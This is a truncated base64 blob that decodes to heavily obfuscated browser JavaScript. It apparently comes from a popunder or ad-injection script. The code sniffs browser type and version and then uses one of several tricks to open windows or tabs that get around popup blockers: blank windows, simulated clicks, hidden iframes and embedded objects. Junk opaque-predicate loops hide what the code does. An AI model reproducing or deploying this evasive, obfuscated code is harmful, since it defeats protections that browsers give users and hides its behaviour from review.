dD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW